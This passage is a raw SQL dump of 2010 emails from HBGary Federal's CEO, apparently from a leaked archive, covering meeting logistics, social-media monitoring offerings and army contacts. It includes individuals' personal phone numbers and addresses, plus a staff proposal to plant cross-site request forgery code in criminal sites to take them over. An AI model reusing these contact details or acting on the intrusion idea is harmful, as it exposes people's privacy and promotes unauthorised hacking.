Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005697.M183083P14101Q2413.eml','\"Greg Hoglund\" <greg@hbgary.com>','InDesign','Hey Greg,\r\n\r\nDo you have a license for InDesign I can use?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15697,'aaron_hbgary_com/15697.html'),(7559,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005697.M409076P14101Q2414.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Capability','Greg,\r\n\r\nI have received a lot of interest in my Social Media presentation.  The government especially is wrought with anxiety because of recent DoD directives that mandate all DoD organizations open up the use of social networks.  My presentation was perfect timing as I had a handful of military mission leaders asking me what can be done to help fight potential leaks of important information.  Currently there are no good technologies to help with aggregate information compromise for an organization and its members.\r\n\r\nWe are going to start with a curriculum and consulting offerings to help organization understand and to help them manage exposure manually.\r\n\r\nIt also occurred to me that using our partnership with Fidelis we can monitor and report on information related to social networks on customer networks.\r\n\r\nWe will investigate writing some queries for AD and Fidelis XPS to query for SNS traffic/information.  Any good thoughts here?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6381,'aaron_hbgary_com/6381.html'),(7560,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005697.M636490P14101Q2415.eml','\"Nathan Atherley\" <nathan.atherley@farallon-research.com>','Re: 8-9 Jul meeting & request','Sure.  Is it both days all day?\r\n\r\nI see what I can drag up for people that have left the company.  I know at least 1, maybe more.\r\n\r\nAaron\r\n\r\nOn Jun 19, 2010, at 1:45 PM, Nathan Atherley wrote:\r\n\r\n> Aaron\r\n> \r\n> Hey, we met with Penny this past week about the first Commercial Integration Demo.  We would love to have you come if your available this week.  We are meeting on the 11th floor of the 2231 Crystal Drive building we met in last time.\r\n> \r\n> Also, you mentioned you knew some good dudes with System Engineering/Architectural experience and knowledge of Tu?  Would you mind introducing me to anyone who fits that bill?\r\n> \r\n> thanks!\r\n> \r\n> nathan\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6315,'aaron_hbgary_com/6315.html'),(7561,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005697.M859337P14101Q2416.eml','\"Ted Vera\" <tedvera@me.com>','Re: Snook','What if one just happens to float to the top?\r\n\r\nOn Jun 18, 2010, at 10:47 PM, Ted Vera wrote:\r\n\r\n> Each of these fish are 26\"-36\" long. Four feet away from me, but they are out of season, dang it...\r\n> \r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',400,'aaron_hbgary_com/400.html'),(7562,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005698.M141129P14101Q2417.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: SecDev - Meeting in Washington area - June 23 (Wednesday)','Hi Arnav,How are plans for tomorrow coming?AaronOn Jun 18, 2010, at 1:46 PM, Arnav Manchanda wrote:Hi Aaron,That will work, most likely early afternoon. I\'ll confirm ASAP with a time that works best, since I have to check the travelling around part :)Best,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\nOn 2010-06-18, at 6:54 AM, Aaron Barr wrote:Hi Arnav,Sounds great. &nbsp;I have a meeting in Chantilly from 10-11, so how about the afternoon?AaronSent from my iPad\r\nOn Jun 17, 2010, at 10:47 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Dear Aaron,I hope all is well with you and the team at HBGary. Rafal and I were hoping to make it down to Washington next week, Wednesday June 23, and to meet with you and your colleagues. Would you be available that day, and if so at what times?\r\nBest wishes,Arnav\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9506,'aaron_hbgary_com/9506.html'),(7563,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005698.M551686P14101Q2418.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: SecDev - Meeting in Washington area - June 23 (Wednesday)','Sorry I meant Wednesday.On Jun 18, 2010, at 1:46 PM, Arnav Manchanda wrote:Hi Aaron,That will work, most likely early afternoon. I\'ll confirm ASAP with a time that works best, since I have to check the travelling around part :)Best,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\nOn 2010-06-18, at 6:54 AM, Aaron Barr wrote:Hi Arnav,Sounds great. &nbsp;I have a meeting in Chantilly from 10-11, so how about the afternoon?AaronSent from my iPad\r\nOn Jun 17, 2010, at 10:47 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Dear Aaron,I hope all is well with you and the team at HBGary. Rafal and I were hoping to make it down to Washington next week, Wednesday June 23, and to meet with you and your colleagues. Would you be available that day, and if so at what times?\r\nBest wishes,Arnav\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14630,'aaron_hbgary_com/14630.html'),(7564,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005698.M773343P14101Q2419.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,,,,','Re: TMC Idea: Exploit Pack 0days','Worth some more discussion. &nbsp;I need to talk to some Gov. folks to see what the general thought is.AaronOn Jun 17, 2010, at 5:06 PM, Phil Wallisch wrote:What do you think about us infiltrating these bad guys that are using exploit kits as part of our monitoring offering?I saw this post:&nbsp; http://seclists.org/bugtraq/2010/Jun/178\r\nWe could plant some XSRF evil in these sites, take control, and monitor fairly easily.&nbsp; I have no idea about the legal ramifications but damn it would be fun.-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog: &nbsp;https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1058,'aaron_hbgary_com/1058.html'),(7565,'2010-06-21','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297005699.M276141P14101Q2420.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SecDev - Meeting in Washington area - June 23 (Wednesday)','Hi Aaron,How does 1pm sound, or shortly after?Best,Arnav\r\n\r\nOn 2010-06-21, at 10:27 AM, Aaron Barr wrote:Sorry I meant Wednesday.On Jun 18, 2010, at 1:46 PM, Arnav Manchanda wrote:Hi Aaron,That will work, most likely early afternoon. I\'ll confirm ASAP with a time that works best, since I have to check the travelling around part :)Best,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\nOn 2010-06-18, at 6:54 AM, Aaron Barr wrote:Hi Arnav,Sounds great. &nbsp;I have a meeting in Chantilly from 10-11, so how about the afternoon?AaronSent from my iPad\r\nOn Jun 17, 2010, at 10:47 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Dear Aaron,I hope all is well with you and the team at HBGary. Rafal and I were hoping to make it down to Washington next week, Wednesday June 23, and to meet with you and your colleagues. Would you be available that day, and if so at what times?\r\nBest wishes,Arnav\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12976,'aaron_hbgary_com/12976.html'),(7566,'2010-06-21','\"Strang, Larry (TASC)\" <larry.strang@tasc.com>','/aaron@hbgary.com/new/1297005699.M519942P14101Q2421.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion on cyber','Hey Aaron,\r\n\r\nGreat to hear from you; how are things at HBGary?  Thanks for the\r\ntentative congratulations but I will tell you I am pleased to be here.\r\nNorthrop is a great company, just way too big, and like the three bears\r\nsaid, this one is JUST right.  Or at least it is so far.  And many of\r\nyour friends here still remember you well.  I think I saw where your\r\nduty title was the CEO and so I am duly impressed.  Congratulations\r\nyourself.  Where do you actually sit?  When would you like to get\r\ntogether?  Let me know and we\'ll make it happen,\r\n\r\n	Larry\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 16, 2010 9:55 AM\r\nTo: Strang, Larry (TASC)\r\nSubject: Discussion on cyber\r\n\r\nHi Larry,\r\n\r\nCongratulations... I think. ;)\r\n\r\nAttached is our datasheet for information security services.  I would\r\nlike to get together at your convenience to talk cyber.  I had a brief\r\nmeeting with Wood last week and mentioned to him, if interested, i would\r\nlike to work together.  TASC is a second home for me and contains many\r\nfriends.\r\n\r\nAaron\r\n',2233,'aaron_hbgary_com/2233.html'),(7567,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005704.M3204P14101Q2422.eml','\"Turner, Stephen W CPT MIL USA\" <stephen.w.turner@us.army.mil>','Re: Social Media Brief (UNCLASSIFIED)','Some reading.  I can\'t find that I already sent this to you.  Sorry if its a duplicate.\r\n\r\nThinking about SNS traffic.  Using our incident response offering with Fidelis we are going to start looking at ways that we can monitor specifically for SNS traffic, develop some metrics and potentially some host and perimeter protection capabilities.  It is definitely doable.\r\n\r\nAaron\r\n\r\n',9129,'aaron_hbgary_com/9129.html'),(7568,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005708.M210254P14101Q2423.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: UPDATE: DARPA Cyber Genome Technical Area #1','Did I send you a copy of this already?\r\n\r\nAaron\r\n\r\n',3070,'aaron_hbgary_com/3070.html'),(7569,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005709.M275779P14101Q2424.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: SecDev - Meeting in Washington area - June 23 (Wednesday)','That should work fine. &nbsp;Where would you like to meet?AaronOn Jun 21, 2010, at 10:31 AM, Arnav Manchanda wrote:Hi Aaron,How does 1pm sound, or shortly after?Best,Arnav\r\n\r\nOn 2010-06-21, at 10:27 AM, Aaron Barr wrote:Sorry I meant Wednesday.On Jun 18, 2010, at 1:46 PM, Arnav Manchanda wrote:Hi Aaron,That will work, most likely early afternoon. I\'ll confirm ASAP with a time that works best, since I have to check the travelling around part :)Best,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\nOn 2010-06-18, at 6:54 AM, Aaron Barr wrote:Hi Arnav,Sounds great. &nbsp;I have a meeting in Chantilly from 10-11, so how about the afternoon?AaronSent from my iPad\r\nOn Jun 17, 2010, at 10:47 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Dear Aaron,I hope all is well with you and the team at HBGary. Rafal and I were hoping to make it down to Washington next week, Wednesday June 23, and to meet with you and your colleagues. Would you be available that day, and if so at what times?\r\nBest wishes,Arnav\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12065,'aaron_hbgary_com/12065.html'),(7570,'2010-06-21','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297005709.M598164P14101Q2425.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SecDev - Meeting in Washington area - June 23 (Wednesday)','We can come down to Bethesda. We have a meeting in McLean at 11am, so I was planning we would end after 12pm and then head over to your place. Do you think that\'s best, given traffic on a Wednesday?\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\nOn 2010-06-21, at 10:34 AM, Aaron Barr wrote:That should work fine. &nbsp;Where would you like to meet?AaronOn Jun 21, 2010, at 10:31 AM, Arnav Manchanda wrote:Hi Aaron,How does 1pm sound, or shortly after?Best,Arnav\r\n\r\nOn 2010-06-21, at 10:27 AM, Aaron Barr wrote:Sorry I meant Wednesday.On Jun 18, 2010, at 1:46 PM, Arnav Manchanda wrote:Hi Aaron,That will work, most likely early afternoon. I\'ll confirm ASAP with a time that works best, since I have to check the travelling around part :)Best,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\nOn 2010-06-18, at 6:54 AM, Aaron Barr wrote:Hi Arnav,Sounds great. &nbsp;I have a meeting in Chantilly from 10-11, so how about the afternoon?AaronSent from my iPad\r\nOn Jun 17, 2010, at 10:47 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Dear Aaron,I hope all is well with you and the team at HBGary. Rafal and I were hoping to make it down to Washington next week, Wednesday June 23, and to meet with you and your colleagues. Would you be available that day, and if so at what times?\r\nBest wishes,Arnav\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14629,'aaron_hbgary_com/14629.html'),(7571,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005709.M832340P14101Q2426.eml','\"Strang, Larry (TASC)\" <larry.strang@tasc.com>','Re: Discussion on cyber','Ha.  I like the three bears comment!  And I can see it would be a much better fit, not so big, mission not so spread out.  You can focus you energies to help them develop a cyber strategy within a much more defined context.  Still any cyber strategy effort today is not without its challenges, the government just is not getting its act together.\r\n\r\nThanks.  Like you this feels just right.  I am having a blast, the anxiety and exhilaration of trying to build a business is an invaluable experience for me.  I am not happy with the manner in which I left, but alls well that ends well and I have maintained good relationships with just about all of my previous close coworkers.  I sit in Tysons/Mclean.  We don\'t have a DC office yet, main offices in Sacramento and Colorado Springs.  So I do meetings/home/coffeeshop/rentaoffice in that order.  This week I have Thursday open and am pretty open next week.  I will be in Chantilly on Wednesday working on a proposal with Al\'s group, I am not sure where you sit.  Let me know when you have some availability.\r\n\r\nAaron\r\n\r\nOn Jun 21, 2010, at 10:31 AM, Strang, Larry (TASC) wrote:\r\n\r\n> Hey Aaron,\r\n> \r\n> Great to hear from you; how are things at HBGary?  Thanks for the\r\n> tentative congratulations but I will tell you I am pleased to be here.\r\n> Northrop is a great company, just way too big, and like the three bears\r\n> said, this one is JUST right.  Or at least it is so far.  And many of\r\n> your friends here still remember you well.  I think I saw where your\r\n> duty title was the CEO and so I am duly impressed.  Congratulations\r\n> yourself.  Where do you actually sit?  When would you like to get\r\n> together?  Let me know and we\'ll make it happen,\r\n> \r\n> 	Larry\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, June 16, 2010 9:55 AM\r\n> To: Strang, Larry (TASC)\r\n> Subject: Discussion on cyber\r\n> \r\n> Hi Larry,\r\n> \r\n> Congratulations... I think. ;)\r\n> \r\n> Attached is our datasheet for information security services.  I would\r\n> like to get together at your convenience to talk cyber.  I had a brief\r\n> meeting with Wood last week and mentioned to him, if interested, i would\r\n> like to work together.  TASC is a second home for me and contains many\r\n> friends.\r\n> \r\n> Aaron\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13656,'aaron_hbgary_com/13656.html'),(7572,'2010-06-21','\"Nathan Atherley\" <nathan.atherley@farallon-research.com>','/aaron@hbgary.com/new/1297005710.M324516P14101Q2428.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: 8-9 Jul meeting & request','Don\'t know how long we will go the second day, but wanted to leave it open.\r\n\r\n\r\n\r\nOn 6/21/2010 7:18 AM, Aaron Barr wrote:\r\n> Sure.  Is it both days all day?\r\n>\r\n> I see what I can drag up for people that have left the company.  I know at least 1, maybe more.\r\n>\r\n> Aaron\r\n>\r\n> On Jun 19, 2010, at 1:45 PM, Nathan Atherley wrote:\r\n>\r\n>    \r\n>> Aaron\r\n>>\r\n>> Hey, we met with Penny this past week about the first Commercial Integration Demo.  We would love to have you come if your available this week.  We are meeting on the 11th floor of the 2231 Crystal Drive building we met in last time.\r\n>>\r\n>> Also, you mentioned you knew some good dudes with System Engineering/Architectural experience and knowledge of Tu?  Would you mind introducing me to anyone who fits that bill?\r\n>>\r\n>> thanks!\r\n>>\r\n>> nathan\r\n>>\r\n>>\r\n>>      \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>    \r\n',3423,'aaron_hbgary_com/3423.html'),(7573,'2010-06-21','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','/aaron@hbgary.com/new/1297005710.M673130P14101Q2429.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting (UNCLASSIFIED)','How about 10:00 here at metro park. I figure the traffic should good by then and you can still get out of here before the Friday traffic starts again. If that time doesn\'t work let me know and we\'ll pick another one. The address is: \r\n6359 Walker Lane, Alexandria, VA 22310\r\nOnce you get here you can give me a call at 703-428-4514 and I\'ll meet up with you. We\'ll be meeting with the Army Red Team Chief, MAJ Verell, and the Vulnerability Assessment Detachment Chief, Mrs. Brooks. If you want, you can shoot me a list of topics that you would like to discuss. Again, thanks for taking the time to speak with us.\r\n\r\nVery Respectfully,\r\n\r\nCPT Stephen W. Turner\r\nDSN 703-428-4514\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nDate: Monday, June 21, 2010 9:36 am\r\nSubject: Re: Meeting (UNCLASSIFIED)\r\nTo: \"Turner, Stephen W CPT MIL USA\" \r\n\r\n\r\n> Friday looks good for me. I will come to you.\r\n> \r\n> Let me know time and place and I\'ll be there.\r\n> \r\n> Aaron\r\n> \r\n> On Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\n> \r\n> > Classification: UNCLASSIFIED\r\n> > Caveats: FOUO\r\n> > \r\n> > Mr. Barr,\r\n> > Thanks for your briefing, I really appreciate it. I have a \r\n> writing> course from Tuesday to Thursday but I\'m free on Friday of \r\n> this week.\r\n> > Next week is pretty open for me. Where are you located? I assume \r\n> up near\r\n> > Ft. Meade. Our office is in Springfield, Virginia. If we met \r\n> here it\r\n> > would be easier for us to get my boss, Mrs. Brooks, involved \r\n> concerning> Fidelis. She has been leading force in fighting to get \r\n> monitoring tools\r\n> > such as Fidelis on Army networks. If you are near Ft. Meade or close\r\n> > enough to metro area I could easily come to you. Let me know \r\n> what is\r\n> > convenient for you and we\'ll pick a time. Thanks\r\n> > \r\n> > CPT Steve Turner\r\n> > \r\n> > Classification: UNCLASSIFIED\r\n> > Caveats: FOUO\r\n> > \r\n> > \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',2491,'aaron_hbgary_com/2491.html'),(7574,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005710.M888696P14101Q2430.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Fwd: Meeting (UNCLASSIFIED)','FYI.I will be discussing our IR offering including the products involved.  Also obviously discussing what we can do for them related to threat intelligence and IO.  This will include our consulting services and eventual offerings for training related to social network vulnerability and exploitation.\r\nAaronSent from my iPadBegin forwarded message:From: &quot;Turner, Stephen W CPT MIL USA USINSCOM&quot; &lt;stephen.w.turner@us.army.mil&gt;\r\nDate: June 21, 2010 10:58:38 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Meeting (UNCLASSIFIED)\r\nHow about 10:00 here at metro park. I figure the traffic should good by then and you can still get out of here before the Friday traffic starts again. If that time doesn&#39;t work let me know and we&#39;ll pick another one. The address is: \r\n6359 Walker Lane, Alexandria, VA 22310Once you get here you can give me a call at 703-428-4514 and I&#39;ll meet up with you. We&#39;ll be meeting with the Army Red Team Chief, MAJ Verell, and the Vulnerability Assessment Detachment Chief, Mrs. Brooks. If you want, you can shoot me a list of topics that you would like to discuss. Again, thanks for taking the time to speak with us.\r\nVery Respectfully,CPT Stephen W. TurnerDSN 703-428-4514----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Monday, June 21, 2010 9:36 amSubject: Re: Meeting (UNCLASSIFIED)To: &quot;Turner, Stephen W CPT MIL USA&quot; &lt;stephen.w.turner@us.army.mil&gt;\r\nFriday looks good for me. I will come to you.Let me know time and place and I&#39;ll be there.\r\nAaronOn Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUOMr. Barr,\r\nThanks for your briefing, I really appreciate it. I have a writing&gt; course from Tuesday to Thursday but I&#39;m free on Friday of \r\nthis week.Next week is pretty open for me. Where are you located? I assume \r\nup nearFt. Meade. Our office is in Springfield, Virginia. If we met \r\nhere itwould be easier for us to get my boss, Mrs. Brooks, involved concerning&gt; Fidelis. She has been leading force in fighting to get \r\nmonitoring toolssuch as Fidelis on Army networks. If you are near Ft. Meade or close\r\nenough to metro area I could easily come to you. Let me know what is\r\nconvenient for you and we&#39;ll pick a time. Thanks\r\nCPT Steve Turner\r\nClassification: UNCLASSIFIEDCaveats: FOUO\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6015,'aaron_hbgary_com/6015.html'),(7575,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005710.M98542P14101Q2427.eml','pauln@jdn-int.com','Re: Something to read','Just verifying we are on for Lunch tomorrow at 11:15?AaronOn Jun 15, 2010, at 3:27 PM, Paul Nemirovsky wrote:Aaron,\r\n&nbsp;\r\nThank you, it is very interesting!\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n&nbsp;\r\n&nbsp;\r\n___________________________________________________________\r\n&nbsp;--- On Tue, 6/15/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Something to readTo: \"Paul Nimirovsky\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 15, 2010, 12:33 PM\r\nHi Paul,Before our meeting I would be interested to receive your thoughts onsome of our new offerings as represented in the attached data sheet.Aaron\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3154,'aaron_hbgary_com/3154.html'),(7576,'2010-06-21','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005711.M238867P14101Q2431.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting (UNCLASSIFIED)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n 